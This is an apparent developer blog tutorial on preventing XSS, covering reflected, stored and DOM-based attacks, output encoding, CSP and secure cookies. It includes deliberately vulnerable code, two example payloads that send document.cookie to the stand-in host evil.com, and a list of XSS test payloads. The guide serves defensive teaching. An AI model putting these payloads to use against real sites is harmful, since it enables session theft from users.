User Input <script> alert( 'hacked' ) </script> Security Layer Safe Output &lt;script&gt; alert( 'hacked' ) &lt;/script&gt; Malicious Sanitized Encoded
Security

Web Security: Preventing XSS Attacks

Mayur Dabhi
Mayur Dabhi
April 3, 2026
20 min read

Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous web security vulnerabilities, consistently ranking in OWASP's Top 10 security risks. An XSS attack occurs when an attacker manages to inject malicious scripts into web pages viewed by other users. These scripts can steal session cookies, capture keystrokes, redirect users to malicious sites, or even take complete control of user accounts.

Understanding XSS is not just about knowing it exists—it's about building a security mindset that considers every piece of user input as potentially malicious. In this comprehensive guide, we'll explore the different types of XSS attacks, understand how they work at a fundamental level, and most importantly, learn multiple layers of defense to protect your applications and users.

Why XSS is Critical
  • Session Hijacking: Attackers can steal authentication cookies and impersonate users
  • Credential Theft: Fake login forms can capture usernames and passwords
  • Malware Distribution: Scripts can redirect users to malicious downloads
  • Defacement: Page content can be modified to spread misinformation
  • Keylogging: Every keystroke on the page can be captured and sent to attackers

Understanding XSS Attack Types

XSS attacks come in three main flavors, each with different attack vectors and persistence levels. Understanding these distinctions is crucial for implementing appropriate defenses.

Three Types of XSS Attacks Reflected XSS Attacker Crafts URL Malicious Link Sends to Victim Server Reflects Non-persistent Stored XSS Attacker Submits Malicious Comment Stored in DB Database All Users Persistent - Most Dangerous DOM-based XSS Malicious URL Browser JavaScript Reads URL DOM Modified innerHTML Script Executes Client-side only

The three types of XSS attacks differ in how and where the malicious payload is processed

1. Reflected XSS (Non-Persistent)

In reflected XSS, the malicious script comes from the current HTTP request. The attacker tricks a victim into clicking a malicious link that contains the script as a parameter. The server "reflects" this input back in its response without proper sanitization.

Vulnerable Code
PHP - Reflected XSS Vulnerability
// DON'T DO THIS - Directly echoing user input
<?php
$search = $_GET['q'];
?>

<h1>Search Results for: <?php echo $search; ?></h1>

// Attacker URL:
// example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. Stored XSS (Persistent)

Stored XSS is the most dangerous type. The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.) and is served to every user who views the affected page.

Vulnerable Code
JavaScript - Stored XSS in Comments
// DON'T DO THIS - Rendering unsanitized user content
app.get('/comments', async (req, res) => {
    const comments = await db.query('SELECT * FROM comments');
    
    let html = '<div class="comments">';
    comments.forEach(c => {
        // Dangerous! Comment content is inserted directly
        html += `<p>${c.content}</p>`;
    });
    html += '</div>';
    
    res.send(html);
});

// Attacker submits comment:
// "Nice post! <img src=x onerror='fetch(`https://evil.com?c=${document.cookie}`)'>"

3. DOM-based XSS

DOM-based XSS occurs entirely in the browser. The vulnerability exists in client-side JavaScript that processes data from an untrusted source (like the URL) and writes it to the DOM in an unsafe way.

Vulnerable Code
JavaScript - DOM-based XSS
// DON'T DO THIS - Using innerHTML with URL parameters
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// Dangerous! Directly inserting into innerHTML
document.getElementById('greeting').innerHTML = 
    'Welcome, ' + name + '!';

// Attacker URL:
// example.com/welcome?name=<img src=x onerror=alert('XSS')>

Defense Strategy 1: Output Encoding

The most fundamental defense against XSS is proper output encoding. The key principle is: encode data based on the context where it's being rendered. HTML encoding is not enough—different contexts require different encoding strategies.

Context-Aware Output Encoding HTML Context <div>USER_DATA</div> HTML Entity Encode &lt; &gt; &amp; &quot; Attribute Context <input value="DATA"> Attribute Encode + Always quote attrs JavaScript Context var x = 'DATA'; JavaScript Encode \xHH Unicode escapes URL Context <a href="?q=DATA"> URL Encode %HH percent encoding CSS Context style="color: DATA" CSS Encode \HH CSS escapes ⚠️ Never Trust User Data Even if it comes from your database Even if it was "validated" on input ALWAYS encode on output
PHP Output Encoding
// HTML Context - Use htmlspecialchars()
$userInput = '<script>alert("xss")</script>';
echo '<p>Hello, ' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '</p>';
// Output: <p>Hello, &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;</p>

// URL Context - Use urlencode()
$searchQuery = 'test & <script>';
echo '<a href="/search?q=' . urlencode($searchQuery) . '">Search</a>';

// JavaScript Context - Use json_encode()
$userData = ['name' => 'John</script><script>evil()'];
echo '<script>var user = ' . json_encode($userData, JSON_HEX_TAG) . ';</script>';
JavaScript Output Encoding
// Use textContent instead of innerHTML for text
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Safe!

// If you MUST use innerHTML, create a sanitizer
function escapeHtml(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

// Or use DOMPurify library
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);

// URL encoding
const safeUrl = `/search?q=${encodeURIComponent(userQuery)}`;
Python Output Encoding
from markupsafe import escape
from urllib.parse import quote
import json

# HTML Context
user_input = '<script>alert("xss")</script>'
safe_html = escape(user_input)
# Result: &lt;script&gt;alert("xss")&lt;/script&gt;

# URL Context
search_query = 'test & <script>'
safe_url = f'/search?q={quote(search_query)}'

# JavaScript Context (Flask/Jinja2)
user_data = {'name': 'John</script>'}
safe_json = json.dumps(user_data)

# In Jinja2 template (auto-escapes by default)
# {{ user_input }}  <-- Automatically escaped
# {{ user_input | safe }}  <-- DANGEROUS! Bypasses escaping
Laravel/Blade Output Encoding
{{-- Blade automatically escapes with {{ }} --}}
<!-- SAFE: Auto-escaped -->
<p>Hello, {{ $user->name }}</p>

<!-- DANGEROUS: {!! !!} bypasses escaping -->
<!-- Only use for trusted, pre-sanitized HTML -->
<div>{!! $trustedHtml !!}</div>

<!-- JavaScript Context -->
<script>
    var user = @json($user);
    // Or use Js facade in newer Laravel
    var settings = {{ Js::from($settings) }};
</script>

<!-- URL encoding -->
<a href="/search?q={{ urlencode($query) }}">Search</a>

Defense Strategy 2: Input Validation & Sanitization

While output encoding is your primary defense, input validation adds an additional layer of security. The principle is simple: accept only what you expect, reject or sanitize everything else.

Validation vs Sanitization

Validation checks if input matches expected patterns and rejects invalid data. Sanitization modifies input to remove or encode potentially dangerous content. Use validation first, then sanitize if needed, and ALWAYS encode on output.

Allowlist Approach

Define exactly what's allowed. A username might only allow alphanumeric characters. An age field only accepts integers 1-120.

Blocklist Approach

Try to block known bad patterns. This is weaker—attackers can find bypasses. Avoid relying on blocklists alone.

JavaScript - Input Validation Examples
// Allowlist validation - Only permit expected characters
function validateUsername(username) {
    // Only alphanumeric and underscore, 3-20 chars
    const pattern = /^[a-zA-Z0-9_]{3,20}$/;
    return pattern.test(username);
}

function validateEmail(email) {
    // Basic email pattern (use a library for production)
    const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return pattern.test(email) && email.length <= 254;
}

function validateAge(age) {
    const num = parseInt(age, 10);
    return !isNaN(num) && num >= 1 && num <= 120;
}

// HTML Sanitization using DOMPurify
import DOMPurify from 'dompurify';

function sanitizeRichText(html) {
    return DOMPurify.sanitize(html, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
        ALLOWED_ATTR: ['href'],
        ALLOW_DATA_ATTR: false
    });
}

Defense Strategy 3: Content Security Policy (CSP)

Content Security Policy is a powerful HTTP header that acts as a second line of defense. Even if XSS payload somehow gets through your encoding, a properly configured CSP can prevent it from executing.

How Content Security Policy Works Browser CSP Engine Checks every resource Page Content Scripts, Styles, Images... self (same origin) ✓ ALLOWED cdn.example.com ✓ ALLOWED evil.com ✗ BLOCKED inline scripts ✗ BLOCKED CSP Header Example Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' api.example.com; frame-ancestors 'none';
CSP Directive Purpose Example Value
default-src Fallback for all resource types 'self'
script-src Valid sources for JavaScript 'self' 'nonce-abc123'
style-src Valid sources for stylesheets 'self' 'unsafe-inline'
img-src Valid sources for images 'self' data: https:
connect-src Valid targets for fetch/XHR/WebSocket 'self' api.example.com
frame-ancestors Who can embed this page (clickjacking protection) 'none'
Node.js/Express - Implementing CSP
const helmet = require('helmet');
const crypto = require('crypto');

// Generate a nonce for each request
app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString('base64');
    next();
});

// Apply CSP with nonce
app.use((req, res, next) => {
    helmet.contentSecurityPolicy({
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: [
                "'self'",
                `'nonce-${res.locals.nonce}'`,
                'https://cdn.jsdelivr.net'
            ],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", 'data:', 'https:'],
            connectSrc: ["'self'", 'https://api.example.com'],
            frameAncestors: ["'none'"],
            formAction: ["'self'"],
            upgradeInsecureRequests: []
        }
    })(req, res, next);
});

// In your template, use the nonce for inline scripts
// <script nonce="<%= nonce %>">...</script>
CSP Pitfalls to Avoid
  • Don't use 'unsafe-inline' for scripts — it defeats the purpose of CSP
  • Don't use 'unsafe-eval' — allows eval(), new Function(), etc.
  • Test in report-only mode first — use Content-Security-Policy-Report-Only
  • Keep your allowlist minimal — every allowed source is a potential attack vector

Defense Strategy 4: Secure Cookies & HttpOnly

Even with XSS vulnerabilities present, proper cookie configuration can limit the damage. HttpOnly cookies cannot be accessed by JavaScript, protecting session tokens from theft.

Secure Cookie Configuration
// Node.js/Express - Secure session cookies
app.use(session({
    name: 'sessionId',
    secret: process.env.SESSION_SECRET,
    cookie: {
        httpOnly: true,     // Cannot be accessed by JavaScript
        secure: true,       // Only sent over HTTPS
        sameSite: 'strict', // Prevents CSRF
        maxAge: 3600000     // 1 hour expiry
    },
    resave: false,
    saveUninitialized: false
}));

// PHP - Secure cookie settings
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
session_start();

Defense in Depth: Complete Security Checklist

No single defense is perfect. The key to robust XSS protection is implementing multiple layers of defense, so if one layer fails, others can still protect your application.

1

Output Encoding (Primary Defense)

Always encode data when rendering in HTML, JavaScript, CSS, or URLs. Use context-appropriate encoding functions provided by your framework.

2

Input Validation (Secondary Defense)

Validate all input against strict allowlists. Reject or sanitize anything that doesn't match expected patterns. Never trust client-side validation alone.

3

Content Security Policy (Tertiary Defense)

Implement strict CSP headers to control which scripts can execute. Use nonces for inline scripts, avoid 'unsafe-inline' and 'unsafe-eval'.

4

Secure Cookie Configuration

Use HttpOnly, Secure, and SameSite attributes on all session cookies. This limits damage even if XSS occurs.

5

Use Modern Frameworks

React, Vue, Angular, and modern template engines auto-escape by default. Understand when and why you might bypass this (and avoid it when possible).

6

Regular Security Audits

Use automated tools like OWASP ZAP, Burp Suite, or Snyk. Conduct regular code reviews focusing on user input handling.

Testing for XSS Vulnerabilities

Proactive testing is essential. Here are common XSS payloads used by security researchers to test for vulnerabilities:

Common XSS Test Payloads

// Basic script injection
<script>alert('XSS')</script>

// Event handler injection
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

// Attribute breaking
" onclick="alert('XSS')
' onclick='alert("XSS")

// JavaScript URL
<a href="javascript:alert('XSS')">Click</a>

// Encoded payloads
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert('XSS')">

// Template injection (if using template engines)
{{constructor.constructor('alert(1)')()}}
${alert('XSS')}
Important

Only test on applications you own or have explicit permission to test. Unauthorized security testing is illegal.

Framework-Specific Protections

React escapes by default. JSX automatically escapes values before rendering.

// SAFE - React automatically escapes
function Welcome({ name }) {
    return <h1>Hello, {name}</h1>;
}

// DANGEROUS - dangerouslySetInnerHTML bypasses protection
function RichContent({ html }) {
    // Only use with sanitized content!
    return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

// DANGEROUS - href can execute javascript:
// Always validate URLs!
function Link({ url, text }) {
    const safeUrl = url.startsWith('http') ? url : '#';
    return <a href={safeUrl}>{text}</a>;
}

Vue.js escapes in templates. Double curly braces escape content automatically.

<!-- SAFE - Vue escapes {{ }} -->
<template>
    <p>{{ userInput }}</p>
</template>

<!-- DANGEROUS - v-html renders raw HTML -->
<template>
    <!-- Only use with sanitized content! -->
    <div v-html="sanitizedHtml"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
    computed: {
        sanitizedHtml() {
            return DOMPurify.sanitize(this.rawHtml);
        }
    }
}
</script>

Angular sanitizes by default. It has built-in XSS protection for interpolation and property binding.

<!-- SAFE - Angular escapes interpolation -->
<p>{{ userInput }}</p>

<!-- SAFE - Property binding is also sanitized -->
<div [innerHTML]="userContent"></div>

// DANGEROUS - Bypassing sanitization
import { DomSanitizer } from '@angular/platform-browser';

constructor(private sanitizer: DomSanitizer) {}

// Only use for trusted content!
trustedHtml = this.sanitizer.bypassSecurityTrustHtml(htmlContent);

Key Takeaways

Remember These Principles

  • Never trust user input — even from your own database
  • Encode on output — using context-appropriate encoding
  • Use Content Security Policy — as a second line of defense
  • Protect cookies — HttpOnly, Secure, SameSite
  • Use modern frameworks — they escape by default
  • Test regularly — automated scans + manual review
  • Defense in depth — multiple layers, not single points of failure

XSS remains dangerous because it's easy to introduce and often hard to detect. But with proper understanding and consistent application of defense strategies, you can build applications that protect your users from these attacks. Remember: security is not a feature you add at the end—it's a mindset you maintain throughout development.

XSS Security Prevention Web Development OWASP
Mayur Dabhi

Written by Mayur Dabhi

Full-stack developer passionate about web technologies, security, and sharing knowledge with the developer community.